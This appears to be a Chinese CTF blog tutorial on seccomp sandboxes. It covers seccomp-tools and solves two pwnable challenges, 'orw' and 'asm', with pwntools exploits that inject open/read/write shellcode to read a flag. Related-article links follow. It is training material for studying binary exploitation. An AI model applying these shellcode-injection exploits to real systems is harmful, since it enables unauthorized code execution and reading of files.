pwn 之 沙箱机制
0x00: 简介
沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
安全计算模式seccomp(Secure Computing Mode)在Linux2.6.10之后引入到kernel的特性,可用其实现一个沙箱环境。使用seccomp模式可以定义系统调用白名单和黑名单。seccomp机制用于限制应用程序可以使用的系统调用,增加系统的安全性。
在ctf中主要通过两种方式实现沙箱机制:
- prctl系统调用;
- seccomp库函数;
0x01: 函数限制检测工具seccomp-tools
安装:
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
使用:
0x02: 例题实践
Pwnable_orw:
通过checksec可以看出其架构,远程的也是这个。
如果使用shellcraft、asm模块,要配置相对应的架构,可以通过context.binary = "./xxx"自动地完成配置。

用seccomp-tools dump ./orw检查受限函数:
允许的函数主要有open、read、write系统调用函数,用这个函数读取flag。

用32位的IDA打开进行分析:

没有数据段不可执行保护,所以直接往bss里面写shellcode就可以了。通过shellcode写入后,后面第6行就进行执行了。
Exp:
from pwn import *
context.log_level = "debug"
context.binary = "./orw" io = process("./orw")
#io = remote("node4.buuoj.cn",27178)
bss = 0x804A060 payload = shellcraft.open("flag")
payload += shellcraft.read(3,bss + 100, 100)
payload += shellcraft.write(1,bss + 100, 100)
io.recvuntil("Give my your shellcode:")
io.sendline(asm(payload))
print(io.recv())
Pwnable_asm:
先用checksec工具检查架构和其保护机制,然后使用seccomp-tools工具检查受限制函数(这步是在打开IDA后,看到sandbox函数后进行的)。

从图可以看出,仅被允许的系统调用有:read()、write()、open()和exit()。(这个在IDA的注释里面也有说明~)
用64位IDA打开分析程序:

函数分析:
- 12行用mmap映射了一段0x1000B大小的匿名空间,起始地址为s = 0x41414000;
- 13行将开辟的空间用144进行初始化,144是啥?0x90。根据注释说是用shellcode解法,应该是制作了nop滑梯。
- 15行将stub数组赋给了匿名空间前段,stud是啥?由于ida中该数组的值显示有点零散,所以我就在pwnable网站查看了源代码:stud[46] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48",反汇编:(其实就是清空寄存器,好像不影响写入shellcode)

- 17行接着向后面输入数据,关键点:写入我们想要shellcode进行执行。
- 19行chroot(directory):将该进程的根目录改为directory。可以防止我们找不到远程中的路径,我们直接open("./flag")就行。
- 20行sandbox开沙箱机制嘛~
- 21行应该是ida分析有误,源代码是没有参数的:((void (*)(void))s)();就是从s那里开始执行。
分析完程序,已经很明显了,和上一题一样。通过17行写入shellcode,然后21行会进行执行。
Exp: from pwn import *
context.log_level = 'debug'
context.binary = './asm' #io = process("./asm")
io = remote("node4.buuoj.cn",26533) addr = 0x41414000 + 0x100
payload = shellcraft.open("flag")
payload += shellcraft.read(3, addr, 0x30)
payload += shellcraft.write(1,addr, 0x30) io.recvuntil("give me your x64 shellcode: ")
io.sendline(asm(payload))
print(io.recv())
0x03: 最后
初步接触,有些地方没思考得太透。所以,有疑惑的朋友可以在评论区提出,互相交流学习。
tolele
2022-04-25
pwn 之 沙箱机制的更多相关文章
- 沙箱机制(Sandboxie)
一.沙箱是什么? 沙箱是一个虚拟系统程序,沙箱提供的环境相对于每一个运行的程序都是独立的,而且不会对现有的系统产生影响. 二.沙箱的应用 (1)搭建测试环境.沙箱的应用只能访问自己的应用访问目录,而不 ...
- java中的安全模型(沙箱机制)
java中的安全模型(沙箱机制) java安全沙箱(一)之ClassLoader双亲委派机制 java安全沙箱(二)之.class文件检验器 java安全沙箱(三)之内置于Java虚拟机(及语言)的安 ...
- 对java沙箱机制的一点了解
1. 引入 我们都知道,程序员编写一个Java程序,默认的情况下可以访问该机器的任意资源,比如读取,删除一些文件或者网络操作等.当你把程序部署到正式的服务器上,系统管理员要为服务器的安全承担责任, ...
- K:java中的安全模型(沙箱机制)
本博文整合自:Java安全--理解Java沙箱.Java 安全模型介绍.Java的沙箱机制原理入门 相关介绍: 我们都知道,程序员编写一个Java程序,默认的情况下可以访问该机器的任意资源,比如读取 ...
- NSFileHandle 、 沙箱机制 、 属性列表
1 使用NSFilehandle进行数据读写 1.1 问题 NSFileManager用于实现对文件的操作,而NSFileHandle是IOS提供的对文件内容(二进制数据)进行操作的类,例如数据的读写 ...
- java沙箱机制原理
参考文档如下: http://www.2cto.com/kf/201012/79578.html
- java安全沙箱(一)之ClassLoader双亲委派机制
java是一种类型安全的语言,它有四类称为安全沙箱机制的安全机制来保证语言的安全性,这四类安全沙箱分别是: 类加载体系 .class文件检验器 内置于Java虚拟机(及语言)的安全特性 安全管理器及J ...
- JVM探究(一)谈谈双亲委派机制和沙箱安全机制
JVM探究 请你谈谈你对JVM的理解?java8虚拟机和之前的变化gengxin? 什么是OOM,什么是栈溢出StackOverFlowError JVM的常用调优参数有哪些? 内存快转如何抓取,怎么 ...
- [BUUCTF]PWN——[V&N2020 公开赛]warmup
[V&N2020 公开赛]warmup 附件 步骤: 例行检查,64位程序,除了canary,其他保护都开 本地运行一下,看看大概的情况 64位ida载入,从main函数开始看程序 看到程序将 ...
随机推荐
- GitHub还能这样玩,这次我真是开了眼了
哈喽,大家好,我是指北君. 我会一直在"开源指北"公众号给大家分享各种有趣. 实用与最前沿的开源项目,还有各种互联网干货, 今天主要给大家分享一下GitHub的一些使用技巧,帮助你 ...
- 【freertos】005-启动调度器分析
前言 本节主要讲解启动调度器. 这些都是与硬件相关,所以会分两条线走:posix和cortex m3. 原文:李柱明博客:https://www.cnblogs.com/lizhuming/p/160 ...
- redis之 主从复制和哨兵(一)
一.Redis主从复制 主从复制:主节点负责写数据,从节点负责读数据,主节点定期把数据同步到从节点保证数据的一致性 1. 主从复制的相关操作 a,配置主从复制方式一.新增redis6380.conf, ...
- Log4j使用(转)
from:http://www.cnblogs.com/ITtangtang/p/3926665.html 一.Log4j简介Log4j有三个主要的组件:Loggers(记录器),Appenders ...
- 推荐几个免费的在线学习IT技能视频网站:
1.慕课网:http://www.imooc.com/course/list 2.极客学院:http://www.jikexueyuan.com/ 3.百度传课:http://www.chuanke. ...
- Java 中是如何支持正则表达式操作的?
Java 中的 String 类提供了支持正则表达式操作的方法,包括:matches(). replaceAll().replaceFirst().split().此外,Java 中可以用 Patte ...
- 学习saltstack (一)
salt介绍 Salt是一个基础平台管理工具 Salt是一个配置管理系统,能够维护预定义状态的远程节点 Salt是一个分布式远程执行系统,用来在远程节点上执行命令和查询数据 salt的核心功能 是命令 ...
- CollectionUtils工具类之并集union(arr1,arr2)和差集subtract(arr1,arr2)
一.CollectionUtils工具类之并集union(arr1,arr2)和差集subtract(arr1,arr2) 采用的类: import org.apache.commons.collec ...
- IDEA学习之"插件安装位置"
进入设置 找到Plugin,就是插件安装位置了
- 实现拖拽复制和可排序的react.js组件
在实现复制前,对之前的拖拽排序组件属性进行了修改. 摒弃了value中的content属性,拖拽组件暴露的render函数,利用这个属性进行组件内部子组件的渲染,这点主要是参考了蚂蚁金服的Ant de ...
